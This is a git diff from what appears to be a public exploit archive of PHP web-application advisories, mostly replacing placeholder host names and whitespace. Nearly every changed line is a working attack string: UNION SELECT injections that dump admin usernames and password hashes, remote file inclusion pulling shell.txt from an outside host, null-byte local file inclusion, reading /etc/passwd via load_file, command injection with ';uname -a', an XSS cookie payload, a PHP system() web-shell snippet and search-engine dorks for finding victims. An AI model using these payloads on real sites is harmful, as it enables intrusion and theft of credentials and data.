+http://website.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_ext_jobseekers/* -http://webserver/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_ext_employers/* +http://website.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+websiteadmin_ext_employers/* diff --git a/platforms/php/webapps/4585.txt b/platforms/php/webapps/4585.txt index 8506fcdca..8ca20a548 100755 --- a/platforms/php/webapps/4585.txt +++ b/platforms/php/webapps/4585.txt @@ -8,7 +8,7 @@ POC : <?php include($rootBase . '/_inc/breadcrumb.php'); ?> -Usage : http://server/_theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? +Usage : http://site.com/_theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : diff --git a/platforms/php/webapps/4587.txt b/platforms/php/webapps/4587.txt index ed3145410..13f0f42fd 100755 --- a/platforms/php/webapps/4587.txt +++ b/platforms/php/webapps/4587.txt @@ -1,4 +1,4 @@ -vuln.: miniBB 2.1 (table) Remote SQL Injection Exploit + vuln.: miniBB 2.1 (table) Remote SQL Injection Exploit download: http://www.minibb.net/download.php?file=minibb21 dork: "These forums are running on" "miniBB" diff --git a/platforms/php/webapps/4588.txt b/platforms/php/webapps/4588.txt index deb4b9fdc..9dd9263ea 100755 --- a/platforms/php/webapps/4588.txt +++ b/platforms/php/webapps/4588.txt @@ -1,4 +1,4 @@ -/ \ + / \ _ ) (( )) ( (@) /|\ ))_(( /|\ |-| / | \ (/\|/\) / | \ (@) diff --git a/platforms/php/webapps/4599.txt b/platforms/php/webapps/4599.txt index fbf573d71..88132b577 100755 --- a/platforms/php/webapps/4599.txt +++ b/platforms/php/webapps/4599.txt @@ -1,4 +1,4 @@ -################################### + ################################### # W w w . T r Y a G . C o m # ################################################################################# # Ax Developer CMS 0.1.1 (index.php module) Local File Inclusion Vulnerability # diff --git a/platforms/php/webapps/4607.txt b/platforms/php/webapps/4607.txt index b3ba453af..c93778181 100755 --- a/platforms/php/webapps/4607.txt +++ b/platforms/php/webapps/4607.txt @@ -16,7 +16,7 @@ = = Exploit: = -= http://server/[path]/starnet/themes/c-sky/main.inc.php?cmsdir=shell? += http://site.com/[path]/starnet/themes/c-sky/main.inc.php?cmsdir=shell? = ============================================ Thanks my Friend : diff --git a/platforms/php/webapps/4620.txt b/platforms/php/webapps/4620.txt index d90113c66..d472b4d29 100755 --- a/platforms/php/webapps/4620.txt +++ b/platforms/php/webapps/4620.txt @@ -9,7 +9,7 @@ # # ##################################################################################### # # -#Injection Adress : http://server/searchresult.php?sbcat_id=<SQL C0de> # +#Injection Adress : http://server.com/searchresult.php?sbcat_id=<SQL C0de> # # # #SQL C0de For Find admin Username : 999999%20union/**/select/**/0,username,2,3/**/from/**/sblnk_admin/* #SQL C0de For Find admin Password : 999999%20union/**/select/**/0,password,2,3/**/from/**/sblnk_admin/* diff --git a/platforms/php/webapps/4621.txt b/platforms/php/webapps/4621.txt index 9a62c752e..c4129d0a2 100755 --- a/platforms/php/webapps/4621.txt +++ b/platforms/php/webapps/4621.txt @@ -21,6 +21,6 @@ Vuln code: ob_end_clean(); Exploit: -examples\patExampleGen\bbcodeSource.php?example= http://server/evilcode.php +examples\patExampleGen\bbcodeSource.php?example= http://server.com/evilcode.php # milw0rm.com [2007-11-12] diff --git a/platforms/php/webapps/4622.txt b/platforms/php/webapps/4622.txt index e990b7d57..7c3c36d4c 100755 --- a/platforms/php/webapps/4622.txt +++ b/platforms/php/webapps/4622.txt @@ -24,7 +24,7 @@ Use the session id in the below URL: admin.php?pg=users&adsess=SESSION_ID example: -http://www.server/admin.php?pg=users&adsess=54f824ebcde36ee8844c103d97412123 +http://www.site.com/admin.php?pg=users&adsess=54f824ebcde36ee8844c103d97412123 Do Not Click Logout! as it will delete the sessionid from the DB. diff --git a/platforms/php/webapps/4627.txt b/platforms/php/webapps/4627.txt index 2e9877d6c..8c2043cd6 100755 --- a/platforms/php/webapps/4627.txt +++ b/platforms/php/webapps/4627.txt @@ -44,7 +44,7 @@ Successful exploitation requires that "magic_quotes" is off. Poc/Exploit: ~~~~~~~~~ -http://server/index.php?app=profile-codes&action=codes&id=-1%20union%20select%201,2,concat(id,0x3a,username,0x3a,password,0x3a,email),4,5,6,7,8,9,10%20from%20users/* +http://target.com/index.php?app=profile-codes&action=codes&id=-1%20union%20select%201,2,concat(id,0x3a,username,0x3a,password,0x3a,email),4,5,6,7,8,9,10%20from%20users/* http://target.org/index.php?app=video-codes&action=videos&id=-1%20union%20select%201,concat(id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6%20from%20users/* http://target.net/index.php?app=arcade-games&action=games&id=-1%20union%20select%201,concat(id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6%20from%20users/* http://target.net/index.php?app=arcade-games&action=games&id=-1%20union%20select%201,load_file(0x2f6574632f706173737764),3,4,5,6%20from%20users/* diff --git a/platforms/php/webapps/4633.txt b/platforms/php/webapps/4633.txt index e484261da..f1129c3e5 100755 --- a/platforms/php/webapps/4633.txt +++ b/platforms/php/webapps/4633.txt @@ -13,7 +13,7 @@ Pull admin info from database, and maybe upload shell. EXPLOITS: -www.server/software-description.php?id=-1/**/UNION/**/ALL/**/SELECT/**/concat(admin_name,char(58),pwd)/**/FROM/**/sbwmd_admin/* +www.site.com/software-description.php?id=-1/**/UNION/**/ALL/**/SELECT/**/concat(admin_name,char(58),pwd)/**/FROM/**/sbwmd_admin/* NOTE/TIP: diff --git a/platforms/php/webapps/4634.php b/platforms/php/webapps/4634.php index 7e861c634..5ee611f20 100755 --- a/platforms/php/webapps/4634.php +++ b/platforms/php/webapps/4634.php @@ -165,7 +165,7 @@ function usage() { echo "+-------------------------------------------------------+\r\n"; echo "| IceBB <= 1.0-rc6 Database Authentication Details |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX |\r\n"; - echo "| Usage: php exploit.php server /pathtoadmin/ version |\r\n"; + echo "| Usage: php exploit.php site.com /pathtoadmin/ version |\r\n"; echo "| Version: 1 = rc5 |\r\n"; echo "| 2 = rc6 |\r\n"; echo "+-------------------------------------------------------+\r\n"; diff --git a/platforms/php/webapps/4635.php b/platforms/php/webapps/4635.php index 697f798e4..81df9016b 100755 --- a/platforms/php/webapps/4635.php +++ b/platforms/php/webapps/4635.php @@ -25,7 +25,7 @@ Exploit Coded By Liz0ziM From <a href="http://www.biyofrm.com">BiyoSecurityTeam< Greetz My all friend and BiyoSecurityTeam User.. <br> <form method="POST" action=""> -<input name="adres" type="text" value="Target example: http://www.server/" size="70" onFocus="if(this.value=='Target example: http://www.server/')this.value=''" onBlur="if(this.value=='')this.value='Target example: http://www.server/'"> +<input name="adres" type="text" value="Target example: http://www.site.com/" size="70" onFocus="if(this.value=='Target example: http://www.site.com/')this.value=''" onBlur="if(this.value=='')this.value='Target example: http://www.site.com/'"> <input name="kodcuk" type="text" value="Evil Code example: &lt;? system($_GET[c]); ?&gt;" size="70" onFocus="if(this.value=='Evil Code example: &lt;? system($_GET[c]); ?&gt;')this.value=''" onBlur="if(this.value=='')this.value='Evil Code example: &lt;? system($_GET[c]); ?&gt;'"> <input name="yolla" type="submit" value="Send Evil Code"> </form> diff --git a/platforms/php/webapps/4641.txt b/platforms/php/webapps/4641.txt index 0aa06a2ed..a8ac19949 100755 --- a/platforms/php/webapps/4641.txt +++ b/platforms/php/webapps/4641.txt @@ -44,10 +44,10 @@ Poc/Exploit: ~~~~~~~~~ 1.Retrieve Admin SessionID : -http://server/index.php?mode=events&act=viewevent&seid=-1%20union%20select%201,2,3,sess_id,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20admin-- +http://target.com/index.php?mode=events&act=viewevent&seid=-1%20union%20select%201,2,3,sess_id,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20admin-- Use the SessionID in this URL: -http://server/admin.php?mode=users_manager&adsess=SESSION_ID +http://target.com/admin.php?mode=users_manager&adsess=SESSION_ID 2.Get Members's Username and md5 hash: http://target.org/index.php?mode=events&act=viewevent&seid=-1%20union%20select%201,2,3,concat(mem_id,0x3a,username,0x3a,email,0x3a,password,0x3a,fname),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20members-- diff --git a/platforms/php/webapps/4645.txt b/platforms/php/webapps/4645.txt index 50307fc5a..f314d4f5a 100755 --- a/platforms/php/webapps/4645.txt +++ b/platforms/php/webapps/4645.txt @@ -22,7 +22,7 @@ You Can See Admin User & MD5 Password ..::.. Then You Can Crack It ;) -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- EXPLOITS: -www.server/index.php?cat=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/* +www.site.com/index.php?cat=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/* -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- diff --git a/platforms/php/webapps/4678.php b/platforms/php/webapps/4678.php index fcc9a3f92..faa0e556d 100755 --- a/platforms/php/webapps/4678.php +++ b/platforms/php/webapps/4678.php @@ -19,8 +19,8 @@ echo "OPTIONS:\n"; echo "-p=<prefix> - use specific prefix (default sed_)\n"; echo "-id=<id> - use specific user id (default 1)\n\n"; echo "examples:\n"; -echo "php {$argv[0]} http://server/ -p=cms_\n"; -echo "php {$argv[0]} http://cms.server:8080/ -id=2\n"; +echo "php {$argv[0]} http://site.com/ -p=cms_\n"; +echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n"; die; } diff --git a/platforms/php/webapps/4691.txt b/platforms/php/webapps/4691.txt index f026018f9..184b7aa69 100755 --- a/platforms/php/webapps/4691.txt +++ b/platforms/php/webapps/4691.txt @@ -44,7 +44,7 @@ Successful exploitation requires that "magic_quotes" is off. Poc/Exploit: ~~~~~~~~~ -http://server/index.php?option=com_rsgallery&page=inline&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users-- +http://target.com/index.php?option=com_rsgallery&page=inline&catid=-1%20union%20select%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11%20from%20mos_users-- Dork: ~~~~ diff --git a/platforms/php/webapps/4706.txt b/platforms/php/webapps/4706.txt index 402c3b21d..c591c3bc9 100755 --- a/platforms/php/webapps/4706.txt +++ b/platforms/php/webapps/4706.txt @@ -22,7 +22,7 @@ You Can See Admin User & MD5 Password ..::.. Then You Can Crack It ;) -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- EXPLOITS: -www.server/index.php?action=expand&id=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/* +www.site.com/index.php?action=expand&id=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/* -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- diff --git a/platforms/php/webapps/4707.txt b/platforms/php/webapps/4707.txt index 40c7c21c8..5cf0c35b4 100755 --- a/platforms/php/webapps/4707.txt +++ b/platforms/php/webapps/4707.txt @@ -14,7 +14,7 @@ pull user's info from the database EXPLOITS: -www.server/albums.php?mode=editalbum&id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(user,char(58),password),3/**/FROM/**/users/**/LIMIT/**/0,1/* +www.site.com/albums.php?mode=editalbum&id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(user,char(58),password),3/**/FROM/**/users/**/LIMIT/**/0,1/* NOTE/TIP: diff --git a/platforms/php/webapps/4708.txt b/platforms/php/webapps/4708.txt index 441b17bc0..d6570c822 100755 --- a/platforms/php/webapps/4708.txt +++ b/platforms/php/webapps/4708.txt @@ -13,7 +13,7 @@ DESCRIPTION: pull admin info from the database EXPLOITS: -www.server/search?search=null'+and+1=2+UNION+ALL+SELECT+concat(username,char(58),password),2,3,4+FROM+users/**/LIMIT/**/0,1/*&submit=Search +www.site.com/search?search=null'+and+1=2+UNION+ALL+SELECT+concat(username,char(58),password),2,3,4+FROM+users/**/LIMIT/**/0,1/*&submit=Search NOTE/TIP: diff --git a/platforms/php/webapps/4709.txt b/platforms/php/webapps/4709.txt index f08194cf5..871d827d0 100755 --- a/platforms/php/webapps/4709.txt +++ b/platforms/php/webapps/4709.txt @@ -1,4 +1,4 @@ - + ######################################################################## # # # ...:::::SH-News 3.0 SQL Injection Vulnerbility ::::.... # @@ -21,7 +21,7 @@ greetz:to my best friend in the world hadi_aryaie2004 dork: Powered by SH-News 3.0 ----------------------------------- vlu: -http://server/patch/comments.php?id=-1'union%20select%201,2,nick,4,5,password,7%20from%20shnews3_users%20where%20id=1/* +http://site.com/patch/comments.php?id=-1'union%20select%201,2,nick,4,5,password,7%20from%20shnews3_users%20where%20id=1/* ------------------------------------- you can see somting such as: diff --git a/platforms/php/webapps/4711.txt b/platforms/php/webapps/4711.txt index 507bf942e..c891816a5 100755 --- a/platforms/php/webapps/4711.txt +++ b/platforms/php/webapps/4711.txt @@ -1,4 +1,4 @@ -H - Security Labs + H - Security Labs Falt4 CMS (RC4 10.9.2007) Security Report /Advisory ID : HSEC#20071012 diff --git a/platforms/php/webapps/4727.txt b/platforms/php/webapps/4727.txt index ab8c7a172..f35d221a3 100755 --- a/platforms/php/webapps/4727.txt +++ b/platforms/php/webapps/4727.txt @@ -20,7 +20,7 @@ ###################################################################################### # #Spl0it ######################################################################################### -#http://vicserver/[pathtowebapp]/category.php?scid=1&category_id=-99%20union%20all%20select%20null,concat(username,0x20,0x3a,0x20,userpass),0%20from%20admin/* +#http://vicsite.com/[pathtowebapp]/category.php?scid=1&category_id=-99%20union%20all%20select%20null,concat(username,0x20,0x3a,0x20,userpass),0%20from%20admin/* # #vuln discovered by ############################################################################### #MurderSkillz diff --git a/platforms/php/webapps/4731.php b/platforms/php/webapps/4731.php index 38cbe4e97..e77840ef7 100755 --- a/platforms/php/webapps/4731.php +++ b/platforms/php/webapps/4731.php @@ -46,7 +46,7 @@ inurl:porn-listing-cat<br> "Copyright 2007 [IAG].AdultScript.v1.5.Nulled"<br> <br> <form method="POST" action=""> -<input name="adres" type="text" value="Target example: http://www.server/" size="70" onFocus="if(this.value=='Target example: http://www.server/')this.value=''" onBlur="if(this.value=='')this.value='Target example: http://www.server/'"> +<input name="adres" type="text" value="Target example: http://www.site.com/" size="70" onFocus="if(this.value=='Target example: http://www.site.com/')this.value=''" onBlur="if(this.value=='')this.value='Target example: http://www.site.com/'"> <input name="yolla" type="submit" value="Send"> </form> diff --git a/platforms/php/webapps/4737.txt b/platforms/php/webapps/4737.txt index c5d9bbcb7..d0db2ca6d 100755 --- a/platforms/php/webapps/4737.txt +++ b/platforms/php/webapps/4737.txt @@ -14,7 +14,7 @@ pull admin info from database EXPLOITS: -www.server/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/* +www.site.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/* NOTE/TIP: diff --git a/platforms/php/webapps/4739.pl b/platforms/php/webapps/4739.pl index f0f6a1028..f87dafa50 100755 --- a/platforms/php/webapps/4739.pl +++ b/platforms/php/webapps/4739.pl @@ -4,9 +4,9 @@ # ------------------------------------ # MOG-WebShop => ? - Multiple Remote SQL Injection Vulnerabilities # Waktu : Dec 15 2007 11:45AM -# Software : MOG-WebShop | http://mog-server/index.php?act=product&po=detil&id=3 -# Vendor : http://mog-server/ -# Demo Site : http://mog-server/mog_product/webshop/ +# Software : MOG-WebShop | http://mog-site.com/index.php?act=product&po=detil&id=3 +# Vendor : http://mog-site.com/ +# Demo Site : http://mog-site.com/mog_product/webshop/ # Ditemukan oleh : k1tk4t | http://newhack.org # Lokasi : Indonesia # diff --git a/platforms/php/webapps/4765.txt b/platforms/php/webapps/4765.txt index edb3fc291..c3e5559ad 100755 --- a/platforms/php/webapps/4765.txt +++ b/platforms/php/webapps/4765.txt @@ -1,4 +1,4 @@ -vuln.: 1024 CMS 1.3.1 (LFI/SQL) Multiple Vulnerabilities + vuln.: 1024 CMS 1.3.1 (LFI/SQL) Multiple Vulnerabilities script info and download: http://www.1024cms.com author: irk4z[at]yahoo.pl diff --git a/platforms/php/webapps/4769.txt b/platforms/php/webapps/4769.txt index 7df89fcdb..0314e0d17 100755 --- a/platforms/php/webapps/4769.txt +++ b/platforms/php/webapps/4769.txt @@ -1,4 +1,4 @@ -____ __________ __ ____ __ + ____ __________ __ ____ __ /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ | | | \ | |/ \ \___| | /_____/ | || | diff --git a/platforms/php/webapps/4772.txt b/platforms/php/webapps/4772.txt index 86f3d0eef..38e676d38 100755 --- a/platforms/php/webapps/4772.txt +++ b/platforms/php/webapps/4772.txt @@ -14,13 +14,13 @@ ## EXPLOITS : [1] -http://server/Path/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20[table prefix]_admins-- +http://server.com/Path/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20[table prefix]_admins-- [2] -http://server/Path/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20[table prefix]_admins-- +http://server.com/Path/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20[table prefix]_admins-- [table prefix] = by default it is zblog -ex : http://server/zBlog/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins-- +ex : http://Site.com/zBlog/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins-- ## Note admin login is at /admin/ diff --git a/platforms/php/webapps/4776.txt b/platforms/php/webapps/4776.txt index 34861efa6..579ea8c7e 100755 --- a/platforms/php/webapps/4776.txt +++ b/platforms/php/webapps/4776.txt @@ -4,7 +4,7 @@ Email : x0kster@gmail.com Script Page : http://www.brand039.com/?service=prodotti_dettaglio&idpro=4 Date : 22/12/2007 Bug in : default.php -PoC : http://server/default.php?service=prodotti_dettaglio&idpro=[SQL] +PoC : http://site.com/default.php?service=prodotti_dettaglio&idpro=[SQL] Example: diff --git a/platforms/php/webapps/4785.txt b/platforms/php/webapps/4785.txt index e24bcfbba..48057b39f 100755 --- a/platforms/php/webapps/4785.txt +++ b/platforms/php/webapps/4785.txt @@ -1,4 +1,4 @@ -############## ###### ###### ######## ######## ###### ###### + ############## ###### ###### ######## ######## ###### ###### ## ## ## ## ## ## ## ## ## #### #### ## #### ###### ## ## ######## ## ## ######## #### #### ## #### ## ## ## ## ## ## ## ## ## ## ## diff --git a/platforms/php/webapps/4786.pl b/platforms/php/webapps/4786.pl index 71a21cf79..dfb821af6 100755 --- a/platforms/php/webapps/4786.pl +++ b/platforms/php/webapps/4786.pl @@ -25,7 +25,7 @@ # 15. } else{ # ---//---- # Ada yang menarik pada berkas "admin_users.php", pada baris 02 - 06 sebenarnya berkas ini sudah cukup aman -# karena jika berkas ini dipanggil langsung dari browser [http://server/admin/admin_users.php] akan menjawab Not Found dan Keluar +# karena jika berkas ini dipanggil langsung dari browser [http://target.com/admin/admin_users.php] akan menjawab Not Found dan Keluar # mmm....!!! coba perhatikan baris 12 - 15, jika "cek_login()" maka akan meneruskan ke perintah2 berikutnya. # Disinilah kita mencoba 'bermain' ;) # fungsi "cek_login()" ini hanya mengecek status login melalui session cookie, dengan semua level login [user,editor,administrator] @@ -90,7 +90,7 @@ if(!$ARGV[4]) print "\n[!] Buat Account terlebih dahulu pada site target dan pastikan Account tesebut bisa digunakan"; print "\n[!] Username dan Password tadi akan digunakan untuk membuat Account admin dengan exploit ini"; print "\n[!] Penggunaan : perl auracms22.pl [Site] [Path] [Port] [Username] [Password] "; - print "\n[!] Contoh : perl auracms22.pl server /auracms2.2/ 80 bugtest 123456"; + print "\n[!] Contoh : perl auracms22.pl target.com /auracms2.2/ 80 bugtest 123456"; print "\n[!] "; print "\n"; exit; diff --git a/platforms/php/webapps/4794.pl b/platforms/php/webapps/4794.pl index bc1653e7d..56041523d 100755 --- a/platforms/php/webapps/4794.pl +++ b/platforms/php/webapps/4794.pl @@ -22,10 +22,10 @@ # line 511: $sql = "SELECT expireafter FROM $t_subcats WHERE subcatid = $_REQUEST[subcatid]"; # ( And more but useless cuz admin password is in config.inc.php) # -# LFI: http://server/index.php?view=page&pagename=[Local_FIle]%00 +# LFI: http://site.com/index.php?view=page&pagename=[Local_FIle]%00 # Example: http://www.diasporaromana.com/index.php?view=page&pagename=tetete # -# SQL: http://server/index.php?view=post&cityid=2&lang=en&catid=2&subcatid=[SQL] +# SQL: http://site.com/index.php?view=post&cityid=2&lang=en&catid=2&subcatid=[SQL] # Example: http://www.diasporaromana.com/index.php?view=post&cityid=220&lang=en&catid=5&subcatid=18' # # And now exploit for LFI diff --git a/platforms/php/webapps/4795.txt b/platforms/php/webapps/4795.txt index e8d53c957..9dcb30eb8 100755 --- a/platforms/php/webapps/4795.txt +++ b/platforms/php/webapps/4795.txt @@ -7,7 +7,7 @@ # we have in config.inc.php: # line303: require_once("{$path_escape}ipblock.inc.php"); # -# link: http://server/config.inc.php?path_escape=shell.txt%00 +# link: http://site.com/config.inc.php?path_escape=shell.txt%00 # # meri crismas...hohoho # greetz to all RST [rstzone.org] MEMBERZ ! diff --git a/platforms/php/webapps/4800.txt b/platforms/php/webapps/4800.txt index c296435b9..3756da240 100755 --- a/platforms/php/webapps/4800.txt +++ b/platforms/php/webapps/4800.txt @@ -46,7 +46,7 @@ In the file showCode.php there is this... We can modify the $path variable.. and give a remote command execution by the function shell_exec.. -Type http://www.server/showCode.php?path=;uname -a +Type http://www.site.com/showCode.php?path=;uname -a ... diff --git a/platforms/php/webapps/4808.txt b/platforms/php/webapps/4808.txt index e0e58d3e1..54dcd2e18 100755 --- a/platforms/php/webapps/4808.txt +++ b/platforms/php/webapps/4808.txt @@ -1,4 +1,4 @@ -######## ###### #### ###### ###### + ######## ###### #### ###### ###### ## ## ## ## #### #### ## ###### ## #### ## #### #### ## ## ## ## ## #### ## ## ## diff --git a/platforms/php/webapps/4811.txt b/platforms/php/webapps/4811.txt index 8bde4a9ea..0e107cc3d 100755 --- a/platforms/php/webapps/4811.txt +++ b/platforms/php/webapps/4811.txt @@ -1,4 +1,4 @@ -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + Kontakt Formular 1.4 Remote File Inclusion Vulnerability + + + diff --git a/platforms/php/webapps/4812.txt b/platforms/php/webapps/4812.txt index ba8458d9c..d2eb0e28f 100755 --- a/platforms/php/webapps/4812.txt +++ b/platforms/php/webapps/4812.txt @@ -1,4 +1,4 @@ -######## ###### #### ###### ###### + ######## ###### #### ###### ###### ## ## ## ## #### #### ## ###### ## #### ## #### #### ## ## ## ## ## #### ## ## ## diff --git a/platforms/php/webapps/4816.txt b/platforms/php/webapps/4816.txt index 69e4ab499..2ca31b608 100755 --- a/platforms/php/webapps/4816.txt +++ b/platforms/php/webapps/4816.txt @@ -14,7 +14,7 @@ *==Exploit==* ================================================================ -http://server/[SanyBee Gallery 0.1.1]/index.php?p=[ LFI ]%00 +http://www.target.com/[SanyBee Gallery 0.1.1]/index.php?p=[ LFI ]%00 ================================================================ Thanx: [cold-zer0]==&==[kof]==&==[firas] diff --git a/platforms/php/webapps/4817.txt b/platforms/php/webapps/4817.txt index ff087ca66..ed1e7e35e 100755 --- a/platforms/php/webapps/4817.txt +++ b/platforms/php/webapps/4817.txt @@ -8,7 +8,7 @@ Exploit : =================================================================================================================================================================================================================== -http://server/[w-agora_path]/index.php?site=[site_name]&cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat(userid,0x3a,password),24/**/FROM/**/agora_users/* +http://site.com/[w-agora_path]/index.php?site=[site_name]&cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat(userid,0x3a,password),24/**/FROM/**/agora_users/* =================================================================================================================================================================================================================== diff --git a/platforms/php/webapps/4827.txt b/platforms/php/webapps/4827.txt index feaacac8a..df09ce16d 100755 --- a/platforms/php/webapps/4827.txt +++ b/platforms/php/webapps/4827.txt @@ -17,7 +17,7 @@ We are ( HouSSamix _ ToXiC350 _ CoNaN ) ## EXPLOIT : -http://server/Path/index.php?option=com_puarcade&Itemid=92&fid=-1%20union%20select%20concat(username,0x3a,password)%20from%20jos_users-- +http://server.com/Path/index.php?option=com_puarcade&Itemid=92&fid=-1%20union%20select%20concat(username,0x3a,password)%20from%20jos_users-- ## GREETZ : GoLd_M , RoMaNcYxHaCkEr , Jiko , cx0x and all musulmans hackers diff --git a/platforms/php/webapps/4828.txt b/platforms/php/webapps/4828.txt index eaae921d1..7a758b1a6 100755 --- a/platforms/php/webapps/4828.txt +++ b/platforms/php/webapps/4828.txt @@ -1,4 +1,4 @@ -######## ###### #### ###### ###### + ######## ###### #### ###### ###### ## ## ## ## #### #### ## ###### ## #### ## #### #### ## ## ## ## ## #### ## ## ## diff --git a/platforms/php/webapps/4830.txt b/platforms/php/webapps/4830.txt index 609297de1..e8cf92725 100755 --- a/platforms/php/webapps/4830.txt +++ b/platforms/php/webapps/4830.txt @@ -11,7 +11,7 @@ or "Powered by clipshare" ########################################################################### ## EXPLOIT : -http://server/Path/uprofile.php?UID=1+and+1=2+union+select+1,2,concat(uid,char(58),username,char(58),pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+signup+limit+0,20/* +http://server.com/Path/uprofile.php?UID=1+and+1=2+union+select+1,2,concat(uid,char(58),username,char(58),pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+signup+limit+0,20/* ########################################################################### ## GREETZ : Exploiters,Pongz,{OHM},Usermode,windows98SE,azazel,Tesz,Mr`Ping ########################################################################### diff --git a/platforms/php/webapps/4833.txt b/platforms/php/webapps/4833.txt index 89a9804de..96f41c62c 100755 --- a/platforms/php/webapps/4833.txt +++ b/platforms/php/webapps/4833.txt @@ -8,8 +8,8 @@ Download : http://phprisk.org/netrisk_1.9.7.zip # DorKs : inurl:index.php?page=gamebrowser # ######################################################################### ## EXPLOIT : # -http://server/Path/index.php?page=[SHELL] # -http://server/Path/index.php?page=[-LFI-] # +http://server.com/Path/index.php?page=[SHELL] # +http://server.com/Path/index.php?page=[-LFI-] # ######################################################################### ## GREETZ : Str0ke - Dj7xpl - DarKLiFe - NazNazi - XmorsTEAM # ######################################################################### diff --git a/platforms/php/webapps/4842.pl b/platforms/php/webapps/4842.pl index 7d3cb2589..d0e803360 100755 --- a/platforms/php/webapps/4842.pl +++ b/platforms/php/webapps/4842.pl @@ -40,7 +40,7 @@ if(!$site || !$user || !$pass) { print q{ Usage: perl netrisk.pl [site] [user] [newpass] - Usage: perl netrisk.pl server/netrisk admin 123456 + Usage: perl netrisk.pl site.com/netrisk admin 123456 ---------------------------------------------------------------------}; system('exit'); } diff --git a/platforms/php/webapps/4852.txt b/platforms/php/webapps/4852.txt index 413ee02b4..4a14ccd03 100755 --- a/platforms/php/webapps/4852.txt +++ b/platforms/php/webapps/4852.txt @@ -1,4 +1,4 @@ -#################################################################### + #################################################################### # # # ...:::::netrisk 1.9.7 Multiple Remote Vulnerabilities::::.... # # (sql injection/xss) # @@ -24,13 +24,13 @@ vlues: 1.sql injection: get admin login name: -http://server/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,login,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/* +http://site.com/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,login,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/* --- get admin pass: -http://server/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,pass,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/* +http://site.com/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,pass,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/* ######################## 2.xss: -http://server/patch/index.php?page=<script>alert(document.cookie)</script> +http://site.com/patch/index.php?page=<script>alert(document.cookie)</script> ######################## NetRisk contains of other sql injecton/xss/LFI bugs in other pages ;) diff --git a/platforms/php/webapps/4855.txt b/platforms/php/webapps/4855.txt index fcf00da1d..f6d6ed83e 100755 --- a/platforms/php/webapps/4855.txt +++ b/platforms/php/webapps/4855.txt @@ -18,7 +18,7 @@ DorKs :" 